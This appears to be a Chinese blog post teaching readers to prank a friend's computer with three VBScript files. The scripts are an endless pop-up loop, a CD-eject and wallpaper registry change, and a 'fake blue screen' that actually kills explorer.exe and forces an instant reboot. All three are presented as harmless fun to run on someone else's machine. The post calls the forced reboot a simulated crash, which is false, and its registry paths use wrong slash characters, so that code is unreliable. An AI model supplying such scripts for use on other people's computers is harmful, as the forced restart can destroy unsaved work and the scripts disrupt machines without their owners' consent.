如何用vbs代码恶搞朋友电脑

《别拿恶搞朋友电脑不当回事！简单 VBS 代码教你搞怪》

在网络世界里，偶尔恶搞一下朋友的电脑，制造一些有趣的小混乱，也能为平淡的生活增添不少乐趣。今天就来给大家分享一些利用超简单的 VBS 代码恶搞朋友电脑的方法。

一、弹窗轰炸

你可以使用下面这段 VBS 代码来实现简单的弹窗轰炸效果。

```vbs

do

msgbox("哈哈，被我恶搞啦！")

loop

```

把这段代码保存为一个.vbs 文件，比如“bomb.vbs”，当你的朋友双击运行这个文件后，电脑就会不断弹出消息框，让他应接不暇。

二、篡改桌面背景

想要给朋友的电脑桌面来个大变样？下面的代码可以帮你做到。

```vbs

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

Set oWMP = Nothing

Set objShell = WScript.CreateObject("WScript.Shell")

objShell.RegWrite "HKCU⁄Control Panel⁄Desktop⁄Wallpaper", "C:⁄Windows⁄Web⁄Wallpaper⁄Windows⁄img0.jpg", "REG_SZ"

objShell.Run "RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

```

这段代码会弹出光驱托盘，还会将桌面背景篡改为指定的图片（这里假设图片路径为 C:⁄Windows⁄Web⁄Wallpaper⁄Windows⁄img0.jpg ，你可以根据实际情况修改）。不过要注意，这种操作可能会引起朋友的一些小“不满”哦，但也是恶搞的乐趣所在嘛。

三、制造假蓝屏

让朋友以为电脑出了大问题，也是一种很有意思的恶搞方式。

```vbs

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!⁄.⁄root⁄cimv2")

Set colItems = objWMIService.ExecQuery("Select * from Win32_Process Where Name = 'explorer.exe'")

For Each objItem in colItems

objItem.Terminate()

Next

Set objShell = CreateObject("WScript.Shell")

objShell.Run "shutdown -r -t 0", 0, True

```

运行这段代码后，电脑会像真的出现蓝屏故障一样重启，朋友可能会惊慌失措地检查电脑，等他发现是虚惊一场时，一定会对你的“杰作”又好气又好笑。

当然啦，恶搞朋友电脑只是为了增添生活中的欢乐氛围，可不要过度使用，以免引起不必要的麻烦哦。大家可以偶尔小试身手，享受这份独特的乐趣。